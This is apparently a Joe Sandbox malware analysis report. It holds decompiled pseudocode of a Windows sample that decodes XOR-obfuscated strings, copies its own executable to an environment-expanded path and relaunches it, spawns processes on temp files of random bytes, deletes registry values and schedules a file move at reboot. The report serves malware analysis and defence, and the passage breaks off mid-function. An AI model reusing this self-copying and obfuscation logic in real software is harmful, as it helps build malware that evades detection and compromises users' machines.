				void* __edi;
				void* __ebp;
				intOrPtr _t170;
				void* _t172;
				void* _t176;
				void* _t178;
				void* _t181;
				int _t184;
				void* _t188;
				void* _t190;
				void* _t195;
				void* _t202;
				int _t204;
				void* _t220;
				void* _t221;
				void* _t225;
				signed int _t256;
				void* _t284;
				void* _t287;
				void* _t288;
				signed int _t289;
				void* _t291;
				void* _t292;
				void* _t294;
				void* _t296;

				_t287 = __esi;
				_t288 = _t289;
				_t291 = (_t289 & 0xfffffff8) - 0x4d8;
				_t170 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t291 + 0x4d8)) = _t170;
				_push(_t291 + 8);
				asm("pushfd");
				_t225 = 1;
				asm("popfd");
				 *(_t291 + 0x10) = 0;
				_t172 = E00413AF0();
				_t292 = _t291 + 4;
				if(_t172 == 0) {
					L20:
					__eflags = 0;
					return E00424873(0,  *((intOrPtr*)(_t292 + 0x4dc)));
				} else {
					_t242 = _t292 + 0x1cc;
					GetModuleFileNameA(0, _t292 + 0x1cc, 0x104);
					_t280 =  *((intOrPtr*)(_t288 + 0x10));
					_t176 = E00425500( *((intOrPtr*)(_t288 + 0x10)), 0x64);
					_t294 = _t292 + 8;
					if(_t176 != 0) {
						_t225 = 0;
					}
					_t178 = E00425500(_t280, 0x73);
					_t292 = _t294 + 8;
					if(_t178 == 0) {
						 *((char*)(_t292 + 0x9e)) = 0xc9;
						 *((char*)(_t292 + 0x8a)) = 0xc9;
						 *((char*)(_t292 + 0x8c)) = 0x7b;
						 *((char*)(_t292 + 0x8d)) = 0x3a;
						 *((char*)(_t292 + 0x8e)) = 0x59;
						 *((char*)(_t292 + 0x8f)) = 0xfe;
						 *((char*)(_t292 + 0x90)) = 0x78;
						 *((char*)(_t292 + 0x91)) = 0xb0;
						 *((char*)(_t292 + 0x92)) = 0xb1;
						 *((char*)(_t292 + 0x93)) = 0x27;
						 *(_t292 + 0x94) = 0x34;
						 *((char*)(_t292 + 0x95)) = 0xf8;
						 *((char*)(_t292 + 0x96)) = 0x7f;
						 *((char*)(_t292 + 0x97)) = 0x7a;
						 *((char*)(_t292 + 0x98)) = 6;
						 *((char*)(_t292 + 0x99)) = 0x30;
						 *((char*)(_t292 + 0x9a)) = 0xcb;
						 *((char*)(_t292 + 0x9b)) = 0xef;
						 *((char*)(_t292 + 0x9c)) = 0x87;
						 *((char*)(_t292 + 0x9d)) = 0xae;
						 *((char*)(_t292 + 0x78)) = 0x5e;
						 *((char*)(_t292 + 0x79)) = 0x6d;
						 *((char*)(_t292 + 0x7a)) = 0x10;
						 *((char*)(_t292 + 0x7b)) = 0xb0;
						 *((char*)(_t292 + 0x7c)) = 0x3c;
						 *((char*)(_t292 + 0x7d)) = 0xf9;
						 *((char*)(_t292 + 0x7e)) = 0xe3;
						 *((char*)(_t292 + 0x7f)) = 2;
						 *((char*)(_t292 + 0x80)) = 0x68;
						 *((char*)(_t292 + 0x81)) = 0x8c;
						 *((char*)(_t292 + 0x82)) = 0xc;
						 *((char*)(_t292 + 0x83)) = 0x1f;
						 *((char*)(_t292 + 0x84)) = 0x74;
						 *((char*)(_t292 + 0x85)) = 0x46;
						 *((char*)(_t292 + 0x86)) = 0xe5;
						 *((char*)(_t292 + 0x87)) = 0x8a;
						 *((char*)(_t292 + 0x88)) = 0xff;
						 *((char*)(_t292 + 0x89)) = 0xcb;
						_t181 = 0;
						__eflags = 0;
						do {
							_t228 =  *(_t292 + _t181 + 0x8c) ^  *(_t292 + _t181 + 0x78);
							 *(_t292 + _t181 + 0x8c) =  *(_t292 + _t181 + 0x8c) ^  *(_t292 + _t181 + 0x78);
							_t181 = _t181 + 1;
							__eflags = _t181 - 0x13;
						} while (_t181 < 0x13);
						ExpandEnvironmentStringsA(_t292 + 0x94, _t292 + 0xc4, 0x104);
						_t184 = CopyFileA(_t292 + 0x1d0, _t292 + 0xc4, 0); // executed
						__eflags = _t184;
						if(_t184 != 0) {
							memset(_t292 + 0x2d0, 0, 0x82 << 2);
							_t296 = _t292 + 0xc;
							lstrcpyA(_t296 + 0x2d4, _t296 + 0xc0);
							lstrcatA(_t296 + 0x2d4, " s");
							_t256 = 0x11;
							asm("pushad");
							asm("popad");
							_t284 = _t296 + 0x20;
							_t202 = memset(_t284, 0, _t256 << 2);
							_t292 = _t296 + 0xc;
							_t280 = _t284 + _t256;
							 *(_t292 + 0x50) = _t202;
							 *((intOrPtr*)(_t292 + 0x48)) = 0x44;
							_t204 = CreateProcessA(0, _t292 + 0x2f0, 0, 0, 0, 0, 0, 0, _t292 + 0x24, _t292 + 0x10); // executed
							__eflags = _t204;
							if(_t204 != 0) {
								_t280 = CloseHandle;
								CloseHandle( *(_t292 + 0x10));
								CloseHandle( *(_t292 + 0x14));
							}
						}
						__eflags = E004122F0(_t287) - 1;
						if(__eflags == 0) {
							 *(_t292 + 0xa8) = 0xd;
							 *((char*)(_t292 + 0xaf)) = 0xd;
							 *((char*)(_t292 + 0xa7)) = 0xb;
							 *((char*)(_t292 + 0xac)) = 0xb;
							 *((char*)(_t292 + 0xad)) = 0xb;
							 *((char*)(_t292 + 0xb6)) = 0xb;
							 *((char*)(_t292 + 0xa0)) = 0x2d;
							 *((char*)(_t292 + 0xa1)) = 8;
							 *((char*)(_t292 + 0xa2)) = 0x1c;
							 *((char*)(_t292 + 0xa3)) = 0x19;
							 *((char*)(_t292 + 0xa4)) = 0xc;
							 *((char*)(_t292 + 0xa5)) = 0x1d;
							 *((char*)(_t292 + 0xa6)) = 0x58;
							 *((char*)(_t292 + 0xa9)) = 0x1b;
							 *((char*)(_t292 + 0xaa)) = 0x1b;
							 *((char*)(_t292 + 0xab)) = 0x1d;
							 *((char*)(_t292 + 0xae)) = 0x1e;
							 *((char*)(_t292 + 0xb0)) = 0x14;
							 *((char*)(_t292 + 0xb1)) = 0x14;
							 *((char*)(_t292 + 0xb2)) = 1;
							 *((char*)(_t292 + 0xb3)) = 0x58;
							 *((char*)(_t292 + 0xb4)) = 0x11;
							 *((char*)(_t292 + 0xb5)) = 0x16;
							 *((char*)(_t292 + 0xb7)) = 0xc;
							 *((char*)(_t292 + 0xb8)) = 0x19;
							 *((char*)(_t292 + 0xb9)) = 0x14;
							 *((char*)(_t292 + 0xba)) = 0x14;
							 *((char*)(_t292 + 0xbb)) = 0x1d;
							 *((char*)(_t292 + 0xbc)) = 0x1c;
							 *((char*)(_t292 + 0xbd)) = 0x56;
							 *((char*)(_t292 + 0xbe)) = 0x78;
							_t188 = 0;
							__eflags = 0;
							do {
								 *(_t292 + _t188 + 0xa0) =  *(_t292 + _t188 + 0xa0) ^ 0x00000078;
								_t188 = _t188 + 1;
								__eflags = _t188 - 0x1f;
							} while (_t188 < 0x1f);
							Sleep(0x7d0);
							 *((char*)(_t292 + 0x77)) = 0xce;
							 *((char*)(_t292 + 0x83)) = 0xce;
							 *((char*)(_t292 + 0x6c)) = 0x90;
							 *((char*)(_t292 + 0x6d)) = 0x73;
							 *((char*)(_t292 + 0x6e)) = 0xc6;
							 *((char*)(_t292 + 0x6f)) = 0x20;
							 *(_t292 + 0x70) = 0xf3;
							 *((char*)(_t292 + 0x71)) = 0x9b;
							 *((char*)(_t292 + 0x72)) = 0xbd;
							 *((char*)(_t292 + 0x73)) = 0xb5;
							 *((char*)(_t292 + 0x74)) = 0x7d;
							 *((char*)(_t292 + 0x75)) = 0x87;
							 *((char*)(_t292 + 0x76)) = 0x31;
							 *((char*)(_t292 + 0x78)) = 0xd9;
							 *((char*)(_t292 + 0x79)) = 0x1d;
							 *((char*)(_t292 + 0x7a)) = 0xa0;
							 *((char*)(_t292 + 0x7b)) = 0x4f;
							 *((char*)(_t292 + 0x7c)) = 0x81;
							 *((char*)(_t292 + 0x7d)) = 0xf6;
							 *((char*)(_t292 + 0x7e)) = 0xdc;
							 *((char*)(_t292 + 0x7f)) = 0xc1;
							 *((char*)(_t292 + 0x80)) = 0x14;
							 *((char*)(_t292 + 0x81)) = 0xe8;
							 *((char*)(_t292 + 0x82)) = 0x5f;
							_t190 = 0;
							__eflags = 0;
							do {
								 *(_t292 + _t190 + 0x6c) =  *(_t292 + _t190 + 0x6c) ^  *(_t292 + _t190 + 0x78);
								 *(_t292 + _t190 + 0x6d) =  *(_t292 + _t190 + 0x6d) ^  *(_t292 + _t190 + 0x79);
								 *(_t292 + _t190 + 0x6f) =  *(_t292 + _t190 + 0x6f) ^  *(_t292 + _t190 + 0x7b);
								 *(_t292 + _t190 + 0x6e) =  *(_t292 + _t190 + 0x6e) ^  *(_t292 + _t190 + 0x7a);
								 *(_t292 + _t190 + 0x70) =  *(_t292 + _t190 + 0x70) ^  *(_t292 + _t190 + 0x7c);
								 *(_t292 + _t190 + 0x71) =  *(_t292 + _t190 + 0x71) ^  *(_t292 + _t190 + 0x7d);
								_t190 = _t190 + 6;
								__eflags = _t190 - 0xc;
							} while (_t190 < 0xc);
							MessageBoxA(0, _t292 + 0xa8, _t292 + 0x70, 0x1040);
							goto L20;
						} else {
							E00412620(_t228, _t280, _t287, _t288, __eflags);
							__eflags = 0;
							_t195 = E00424873(0,  *((intOrPtr*)(_t292 + 0x4dc)));
							_push(_t288);
							return _t195;
						}
					} else {
						if(E004129C0(_t287) != 0) {
							goto L20;
						} else {
							if(E0041C660() != 0) {
								E00413AD0(_t242, __eflags);
								E00412FC0(_t225, _t242, _t287, __eflags);
								E004120C0(_t225, _t287);
								_push( *((intOrPtr*)(_t292 + 0xc)));
								E00413DD0(_t225, _t280, _t287, _t288, __eflags, _t225);
								E00412B30(_t287);
								E00413280(_t225, _t280, _t287, _t288);
								E0041EF50(0x431c98);
								E00422EF0();
								__eflags = 0;
								_t220 = E00424873(0,  *((intOrPtr*)(_t292 + 0x4e4)));
								_push(_t288);
								return _t220;
							} else {
								_t221 = 1;
								return E00424873(_t221,  *((intOrPtr*)(_t292 + 0x4dc)));
							}
						}
					}
				}
			}

0x00415060
0x00415062
0x00415066
0x0041506c
0x00415072
0x0041507e
0x0041507f
0x00415082
0x00415083
0x00415084
0x0041508c
0x00415091
0x00415096
0x00415586
0x0041558d
0x00415599
0x0041509c
0x004150a1
0x004150ab
0x004150b1
0x004150b7
0x004150bc
0x004150c1
0x004150c3
0x004150c3
0x004150c8
0x004150cd
0x004150d2
0x00415155
0x0041515c
0x00415163
0x0041516b
0x00415173
0x0041517b
0x00415183
0x0041518b
0x00415192
0x0041519a
0x004151a2
0x004151aa
0x004151b2
0x004151ba
0x004151c2
0x004151ca
0x004151d2
0x004151d9
0x004151e1
0x004151e9
0x004151f1
0x004151f6
0x004151fb
0x00415200
0x00415204
0x00415209
0x0041520e
0x00415213
0x00415218
0x00415220
0x00415228
0x00415230
0x00415238
0x00415240
0x00415248
0x00415250
0x00415258
0x00415260
0x00415267
0x00415267
0x00415270
0x0041527b
0x0041527d
0x00415284
0x00415285
0x00415285
0x0041529f
0x004152b7
0x004152bd
0x004152bf
0x004152d3
0x004152d3
0x004152e5
0x004152f8
0x00415302
0x00415303
0x00415304
0x00415305
0x00415309
0x00415309
0x00415309
0x0041530b
0x00415330
0x00415338
0x0041533e
0x00415340
0x00415346
0x0041534d
0x00415354
0x00415354
0x00415340
0x0041535b
0x0041535c
0x0041537f
0x00415388
0x00415391
0x00415398
0x0041539f
0x004153a6
0x004153ad
0x004153b5
0x004153bd
0x004153c5
0x004153cd
0x004153d5
0x004153dd
0x004153e4
0x004153eb
0x004153f2
0x004153fa
0x00415402
0x00415409
0x00415410
0x00415418
0x0041541f
0x00415427
0x0041542f
0x00415437
0x0041543f
0x00415446
0x0041544d
0x00415455
0x0041545d
0x00415465
0x0041546d
0x0041546d
0x00415470
0x00415470
0x00415478
0x00415479
0x00415479
0x00415483
0x0041548b
0x0041548f
0x00415496
0x0041549b
0x004154a0
0x004154a5
0x004154aa
0x004154af
0x004154b4
0x004154b9
0x004154be
0x004154c3
0x004154c8
0x004154cd
0x004154d2
0x004154d7
0x004154dc
0x004154e1
0x004154e6
0x004154eb
0x004154f0
0x004154f5
0x004154fc
0x00415504
0x0041550c
0x0041550c
0x00415510
0x00415528
0x00415530
0x00415544
0x0041554e
0x00415556
0x00415560
0x00415564
0x00415567
0x00415567
0x00415580
0x00000000
0x0041535e
0x0041535e
0x00415363
0x0041536c
0x00415373
0x00415376
0x00415376
0x004150d4
0x004150db
0x00000000
0x004150e1
0x004150e8
0x00415103
0x00415108
0x0041510d
0x00415116
0x00415118
0x00415120
0x00415125
0x0041512f
0x00415134
0x00415139
0x00415142
0x00415149
0x0041514c
0x004150eb
0x004150ee
0x00415100
0x00415100
0x004150e8
0x004150db
0x004150d2

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004150AB

Part of subcall function 00413AD0: SetEvent.KERNEL32(00000104,?,?,00000001,00415108), ref: 0041EF12
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000110), ref: 0041EF20
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000114), ref: 0041EF2B
Part of subcall function 00413AD0: SetEvent.KERNEL32(0000010C), ref: 0041EF36
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000108), ref: 0041EF41

Part of subcall function 004120C0: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
Part of subcall function 004120C0: GetFileAttributesA.KERNEL32(?), ref: 004121FF

Part of subcall function 00413DD0: Sleep.KERNEL32(0002BF20,?), ref: 00413E62

Part of subcall function 00412B30: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,?), ref: 00412C26
Part of subcall function 00412B30: GetLocalTime.KERNEL32(0000003C), ref: 00412C31
Part of subcall function 00412B30: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
Part of subcall function 00412B30: WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
Part of subcall function 00412B30: CloseHandle.KERNEL32(00000000), ref: 00412C69

Part of subcall function 00413280: RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
Part of subcall function 00413280: RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
Part of subcall function 00413280: RegCloseKey.ADVAPI32(?), ref: 0041345C
Part of subcall function 00413280: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
Part of subcall function 00413280: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A

Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000104,?,?,00000001,00415134), ref: 0041EF67
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000110), ref: 0041EF76
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000114), ref: 0041EF81
Part of subcall function 0041EF50: ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000108), ref: 0041EF97

Strings

}, xrefs: 004154BE
{, xrefs: 00415163
4, xrefs: 004151A2
0, xrefs: 004151CA
x, xrefs: 00415470
s, xrefs: 0041549B
x, xrefs: 00415183
m, xrefs: 004151F6
V, xrefs: 0041545D
t, xrefs: 00415238
x, xrefs: 00415465
:, xrefs: 0041516B
, xrefs: 004154A5
^, xrefs: 004151F1
O, xrefs: 004154DC
', xrefs: 0041519A
F, xrefs: 00415240
Y, xrefs: 00415173
<, xrefs: 00415204
1, xrefs: 004154C8
h, xrefs: 00415218
_, xrefs: 00415504
D, xrefs: 00415330
z, xrefs: 004151BA

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Event$File$Reset$CloseEnvironmentExpandModuleNameStrings$AttributesCreateDeleteHandleLocalMoveOpenSleepTimeValueWrite
String ID: $'$0$1$4$:$<$D$F$O$V$Y$^$_$h$m$s$t$x$x$x$z${$}
API String ID: 2834431147-455679219
Opcode ID: 8336e7a0ab508b3192db087dc697177d60c79931162b82153eec92bed38a54f4
Instruction ID: 771ee3a78f74aa98670ee5ab7aae719a86fddaa70590e3d421f27009f67f53be
Opcode Fuzzy Hash: 8336e7a0ab508b3192db087dc697177d60c79931162b82153eec92bed38a54f4
Instruction Fuzzy Hash: 02E1472120C7C089D33297399848BDBBFD55BE7318F184A9EE1E88B2D3C6B58149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00412620, Relevance: 54.5, APIs: 15, Strings: 16, Instructions: 220
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00412620(void* __ebx, void* __edi, void* __esi, void* __ebp, void* __eflags) {
				intOrPtr _v4;
				char _v524;
				char _v784;
				char _v1044;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1065;
				char _v1066;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1089;
				char _v1090;
				char _v1091;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				struct _STARTUPINFOA _v1176;
				struct _PROCESS_INFORMATION _v1192;
				long _v1196;
				intOrPtr _t127;
				signed int _t131;
				void* _t137;
				void* _t151;
				signed int _t157;
				int _t161;
				void* _t162;
				signed int _t178;
				void* _t203;
				long _t208;
				long _t210;
				long* _t213;

				_t213 =  &_v1196;
				_t127 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t127;
				GetCurrentDirectoryA(0x104,  &_v784);
				GetTempFileNameA( &_v784, 0x42e292, 0,  &_v1044); // executed
				_t131 = E0040C1D0( &_v784);
				_t185 = _t131 % 0xc000;
				_t208 = _t131 % 0xc000 + 0xc000;
				_push(HeapAlloc(GetProcessHeap(), 0, _t208));
				_pop(_t203);
				if(_t203 != 0) {
					_t161 = 0;
					_t210 = _t208;
					if(_t210 > 0) {
						do {
							_t157 = E0040C1D0(_t185);
							_t185 = _t157 % 0x64 + 0x1e;
							 *(_t161 + _t203) = _t157 % 0x64 + 0x1e;
							_t161 = _t161 + 1;
						} while (_t161 < _t210);
					}
					_t151 = CreateFileA( &_v1044, 0x40000000, 0, 0, 2, 0, 0); // executed
					_push(0);
					_t162 = _t151;
					WriteFile(_t162, _t203, _t210,  &_v1196, ??); // executed
					CloseHandle(_t162);
					HeapFree(GetProcessHeap(), 0, _t203);
				}
				_v1091 = 0xb0;
				_v1061 = 0xb0;
				_v1059 = 0xac;
				_v1057 = 0xac;
				_v1108 = 0xc6;
				_v1107 = 0xc;
				_v1106 = 0x9a;
				_v1105 = 0x34;
				_v1104 = 0x27;
				_v1103 = 0x9b;
				_v1102 = 0xf6;
				_v1101 = 0x16;
				_v1100 = 0x4f;
				_v1099 = 0x95;
				_v1098 = 1;
				_v1097 = 0x88;
				_v1096 = 0xcc;
				_v1095 = 0xe;
				_v1094 = 0x92;
				_v1093 = 0x83;
				_v1092 = 0xe9;
				_v1090 = 0xc0;
				_v1089 = 0xc3;
				_v1088 = 0xbd;
				_v1087 = 0x29;
				_v1086 = 0xe7;
				_v1085 = 0xbc;
				_v1084 = 0x85;
				_v1083 = 0xab;
				_v1082 = 0xfb;
				_v1081 = 0x41;
				_v1080 = 0x91;
				_v1079 = 0xb2;
				_v1076 = 0x5f;
				_v1075 = 0x4b;
				_v1074 = 0xaf;
				_v1073 = 0x1a;
				_v1072 = 0x1d;
				_v1071 = 0xae;
				_v1070 = 0x5c;
				_v1069 = 0xf;
				_v1068 = 0xd;
				_v1067 = 0xbe;
				_v1066 = 0x78;
				_v1065 = 0xeb;
				_v1064 = 0xa8;
				_v1063 = 0x57;
				_v1062 = 0xdb;
				_v1060 = 0x49;
				_v1058 = 0xae;
				_v1056 = 0xb7;
				_v1055 = 0x3c;
				_v1054 = 0x89;
				_v1053 = 0xa5;
				_v1052 = 0xdf;
				_v1051 = 0x83;
				_v1050 = 0x6a;
				_v1049 = 0x37;
				_v1048 = 0xd4;
				_v1047 = 0x4e;
				_t137 = 0;
				do {
					 *((char*)(_t213 + _t137 + 0x68)) =  *((intOrPtr*)(_t213 + _t137 + 0x68)) +  *((intOrPtr*)(_t213 + _t137 + 0x88));
					 *((char*)(_t213 + _t137 + 0x69)) =  *((intOrPtr*)(_t213 + _t137 + 0x69)) +  *((intOrPtr*)(_t213 + _t137 + 0x89));
					 *((char*)(_t213 + _t137 + 0x6a)) =  *((intOrPtr*)(_t213 + _t137 + 0x6a)) +  *((intOrPtr*)(_t213 + _t137 + 0x8a));
					 *((char*)(_t213 + _t137 + 0x6b)) =  *((intOrPtr*)(_t213 + _t137 + 0x6b)) +  *((intOrPtr*)(_t213 + _t137 + 0x8b));
					 *((char*)(_t213 + _t137 + 0x6c)) =  *((intOrPtr*)(_t213 + _t137 + 0x6c)) +  *((intOrPtr*)(_t213 + _t137 + 0x8c));
					 *((char*)(_t213 + _t137 + 0x6d)) =  *((intOrPtr*)(_t213 + _t137 + 0x6d)) +  *((intOrPtr*)(_t213 + _t137 + 0x8d));
					_t137 = _t137 + 6;
				} while (_t137 < 0x1e);
				ExpandEnvironmentStringsA( &_v1108,  &_v524, 0x208);
				lstrcatA( &_v524, " ");
				lstrcatA( &_v524,  &_v1044);
				asm("pushad");
				asm("popad");
				_t178 = 0x11;
				memset( &_v1176, 0, _t178 << 2);
				_v1176.cb = 0x44;
				_v1176.wShowWindow = 1;
				CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v1176,  &_v1192); // executed
				CloseHandle(_v1192);
				return E00424873(CloseHandle(_v1192.hThread), _v4);
			}

0x00412620
0x00412626
0x0041262e
0x00412643
0x00412660
0x00412666
0x00412672
0x0041267c
0x0041268a
0x0041268b
0x0041268e
0x00412690
0x00412692
0x00412694
0x00412696
0x00412696
0x004126a4
0x004126a7
0x004126aa
0x004126ab
0x00412696
0x004126c6
0x004126cc
0x004126cf
0x004126d8
0x004126e5
0x004126ed
0x004126ed
0x004126fd
0x00412701
0x0041270e
0x00412715
0x0041271c
0x00412721
0x00412726
0x0041272b
0x00412730
0x00412735
0x0041273a
0x0041273f
0x00412744
0x00412749
0x0041274e
0x00412753
0x00412758
0x0041275d
0x00412762
0x00412767
0x0041276b
0x00412770
0x00412775
0x0041277a
0x0041277f
0x00412784
0x00412789
0x0041278e
0x00412796
0x0041279e
0x004127a6
0x004127ae
0x004127b6
0x004127be
0x004127c6
0x004127ce
0x004127d6
0x004127de
0x004127e6
0x004127ed
0x004127f5
0x004127fd
0x00412805
0x0041280d
0x00412815
0x0041281d
0x00412825
0x0041282d
0x00412835
0x0041283d
0x00412844
0x0041284c
0x00412854
0x0041285c
0x00412864
0x0041286c
0x00412873
0x0041287b
0x00412883
0x0041288b
0x00412893
0x004128a0
0x004128b1
0x004128c2
0x004128d3
0x004128e4
0x004128f5
0x00412902
0x00412906
0x00412909
0x00412920
0x00412939
0x0041294b
0x0041294f
0x00412950
0x00412953
0x00412958
0x0041297a
0x00412982
0x00412989
0x00412994
0x004129b3

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,?,0000007B), ref: 00412643
GetTempFileNameA.KERNELBASE(?,0042E292,00000000,?,?,0000007B), ref: 00412660

Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204

GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 00412681
HeapAlloc.KERNEL32(00000000,?,0000007B), ref: 00412684
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,0000007B), ref: 004126C6
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,0000007B), ref: 004126D8
CloseHandle.KERNEL32(00000000,?,0000007B), ref: 004126E5
GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 004126EA
HeapFree.KERNEL32(00000000,?,0000007B), ref: 004126ED
ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920

Strings

\, xrefs: 004127ED
O, xrefs: 00412744
x, xrefs: 0041280D
A, xrefs: 004127A6
W, xrefs: 00412825
', xrefs: 00412730
<, xrefs: 0041284C
4, xrefs: 0041272B
I, xrefs: 00412835
j, xrefs: 00412873
D, xrefs: 0041297A
), xrefs: 0041277F
K, xrefs: 004127C6
7, xrefs: 0041287B
_, xrefs: 004127BE
N, xrefs: 0041288B

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CountHeapTick$File$Process$AllocCloseCreateCurrentDirectoryEnvironmentExpandFreeHandleNameStringsTempWrite
String ID: '$)$4$7$<$A$D$I$K$N$O$W$\$_$j$x
API String ID: 1204127460-4239860483
Opcode ID: eb1952fcb1213dab366f251acf071c7516ef0f6685331f3965166fefe0c1832c
Instruction ID: 51ace9f306559d285162205b79521c86e1f249b49e3517c7e7b384f64085facd
Opcode Fuzzy Hash: eb1952fcb1213dab366f251acf071c7516ef0f6685331f3965166fefe0c1832c
Instruction Fuzzy Hash: 47A1502110C7C19ED33197399849BDBBFD45FA7224F184AADE2E8872D3C6B5440AC767

Uniqueness

Uniqueness Score: -1.00%

Function 00421A20, Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 221
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00421A20(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				int _v76;
				int _v80;
				void* _v84;
				void* _v92;
				intOrPtr _t123;
				void* _t125;
				intOrPtr _t127;
				long _t132;
				void* _t136;
				void* _t137;
				intOrPtr _t147;
				intOrPtr _t148;
				void* _t166;
				short _t171;
				void* _t197;
				void* _t200;
				void** _t203;
				void** _t204;
				void** _t205;

				_t203 =  &_v84;
				_t123 =  *0x4310d8; // 0xd0c2a9a8
				_t200 = __ecx;
				_v70 = 0x7c;
				_v67 = 0x7c;
				_v71 = 0x2c;
				_v66 = 0x2c;
				_v4 = _t123;
				_v56 = 0xc5;
				_v43 = 0xc5;
				_v57 = 0x45;
				_v44 = 0x45;
				_v68 = 0x12;
				_v38 = 0x12;
				_v36 = 0xc7;
				_v35 = 0xc7;
				_t171 =  *0x431f38; // 0x2d2c
				_v33 = 0x12;
				_push(__edi);
				_v72 = 0x54;
				_v69 = 0xc;
				_v65 = 0xe7;
				_v64 = 0x50;
				_v63 = 0x8d;
				_v62 = 0x53;
				_v61 = 0x29;
				_v60 = 0xa2;
				_v59 = 0xa8;
				_v58 = 0x4e;
				_v55 = 0x81;
				_v54 = 9;
				_v53 = 0xb3;
				_v52 = 0xdc;
				_v51 = 0x50;
				_v50 = 0x2a;
				_v49 = 0xc2;
				_v48 = 0xff;
				_v47 = 0x23;
				_v46 = 0xca;
				_v45 = 0x48;
